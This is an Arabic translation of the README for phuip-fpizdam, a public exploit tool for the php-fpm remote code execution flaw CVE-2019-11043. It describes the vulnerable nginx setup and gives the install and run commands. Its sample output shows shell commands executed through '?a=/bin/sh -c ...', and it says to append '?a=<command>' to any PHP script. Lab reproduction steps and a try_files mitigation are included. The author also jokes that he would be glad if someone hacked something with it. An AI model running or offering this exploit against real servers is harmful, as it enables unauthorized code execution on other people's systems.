
استغلال لـ CVE-2019-11043
هذا استغلال لثغرة في php-fpm (CVE-2019-11043). في بعض تهيئات nginx + php-fpm، يمكن تشغيل الثغرة من الخارج. هذا يعني أن مستخدم الويب يمكنه تنفيذ تعليمات برمجية إذا كان لديك إعداد ضعيف (انظر أدناه).
بينما كنا كسالى جدًا لكتابة شرح، نشر Orange Tsai تحليلاً ممتازًا في مدونته. تحية له.
أيضًا، شرائحي من ZeroNights 2019 متاحة.
إذا كان خادم الويب يعمل nginx + php-fpm وكان nginx لديه إعداد مثل
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
والذي يفتقر أيضًا إلى أي فحوصات لوجود السكريبت (مثل try_files)، فمن المحتمل أن تتمكن من اختراقه باستخدام هذا الاستغلال.
location ~ [^/]\.php(/|$) إلى php-fpm (ربما يمكن أن يكون التعبير المنتظم أكثر صرامة، انظر #1).PATH_INFO عبر العبارة fastcgi_param PATH_INFO $fastcgi_path_info;. أيضًا يجب تعيين SCRIPT_FILENAME باستخدام fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (قد يكون هناك مسار ثابت بدلاً من $document_root). في البداية، اعتقدنا أن هذه دائمًا موجودة في ملف fastcgi_params، لكن هذا غير صحيح.PATH_INFO إلى قيمة فارغة. يفترض هذا الاستغلال أن توجيه fastcgi_split_path_info موجود ويحتوي على تعبير منتظم يبدأ بـ ^ وينتهي بـ $، لذلك يحاول كسر التعبير المنتظم بحرف سطر جديد.PATH_INFO تم تعيينه بعد في الإعداد.منذ وقت طويل، لم يقم php-fpm بتقييد امتدادات السكريبتات، مما يعني أن شيئًا مثل /avatar.png/some-fake-shit.php يمكنه تنفيذ avatar.png كسكريبت PHP. تم إصلاح هذه المشكلة حوالي عام 2010.
التيار لا يتطلب رفع ملف، يعمل في أحدث الإصدارات (حتى وصول الإصلاح)، والأهم من ذلك، أن الاستغلال أكثر روعة.
قم بتثبيته باستخدام
go get github.com/neex/phuip-fpizdam
إذا حصلت على أخطاء تجميع غريبة، تأكد من أنك تستخدم go >= 1.13. قم بتشغيل البرنامج باستخدام phuip-fpizdam [url] (بافتراض أن لديك $GOPATH/bin داخل $PATH، وإلا حدد المسار الكامل للثنائي). المخرجات الجيدة تبدو كالتالي:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
بعد ذلك، يمكنك البدء في إلحاق ?a=<أمرك> بجميع سكريبتات PHP (قد تحتاج إلى عدة محاولات).
بدلاً من ذلك، يمكنك استخدام صورة docker لتشغيل الاستغلال:
docker run --rm ypereirareis/cve-2019-11043 [url]
إذا كنت ترغب في إعادة إنتاج المشكلة أو اللعب بالاستغلال محليًا عبر Docker، قم بما يلي:
reproducer.docker build -t reproduce-cve-2019-11043 .. يستغرق هذا وقتًا طويلاً لأنه يستنسخ مستودع php داخليًا ويبنيه من المصدر. ومع ذلك، سيكون الأمر أسهل بهذه الطريقة إذا كنت تريد تصحيح الاستغلال. المراجعة المبنية هي تلك التي تسبق الإصلاح مباشرة.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= بالسكريبت: http://127.0.0.1:8080/script.php?a=id. حاول عدة مرات لأن بعض عمال php-fpm فقط هم المصابون.إذا كنت ترغب في إعادة إنتاج المشكلة أو اللعب بالاستغلال محليًا عبر LXD، قم بما يلي:
vulnerable و attacker. يمكنك استخدام صورة الحاوية ubuntu:18.04 لكلتا الحاويتين.vulnerable، قم بتثبيت nginx و php-fpm. قم بتكوين كتلة الخادم كـ هذا الإعداد. أنشئ ملفًا فارغًا /var/www/html/index.php.attacker، قم بتثبيت لغة Go (sudo snap install go --classic)، استنسخ هذا المستودع، وقم بتشغيل go build في دليل المستودع../phuip-fpizdam http://vulnerable.lxd/index.php. حاول عدة أنواع لإصابة جميع عمال php-fpm.للحصول على تعليمات أكثر تفصيلاً، راجع اختبار CVE-2019-11043 (ثغرة أمان php-fpm) مع حاويات نظام LXD.
تدفق العازل السفلي في php-fpm موجود في إصدار PHP 5. ومع ذلك، يستخدم هذا الاستغلال تحسينًا يستخدم لتخزين متغيرات FastCGI، _fcgi_data_seg. هذا التحسين موجود فقط في php 7، لذلك يعمل هذا الاستغلال المحدد فقط لـ php 7. قد تكون هناك تقنية استغلال أخرى تعمل في php 5.
تم اكتشاف الشذوذ الأصلي بواسطة d90pwn خلال Real World CTF. السبب الجذري وجدته أنا (Emil Lerner) وكذلك الطريقة لتعيين خيارات php.ini. تم العثور على مجموعة خيارات php.ini النهائية بواسطة beched.
يتم توزيع هذا الاستغلال بموجب شروط رخصة MIT.
امتنع عن إحداث أي ضرر باستخدام هذا الاستغلال. ولكن إذا اخترقت شيئًا بهذا الشيء، سأكون سعيدًا.
REQUEST_URItry_files $uri =404 أو if (-f $uri). إذا تجاهل Nginx الطلبات إلى السكريبتات غير الموجودة قبل توجيه FastCGI، فلن تصل طلباتنا إلى php-fpm. إضافة هذا هو أيضًا أسهل طريقة للتصحيح.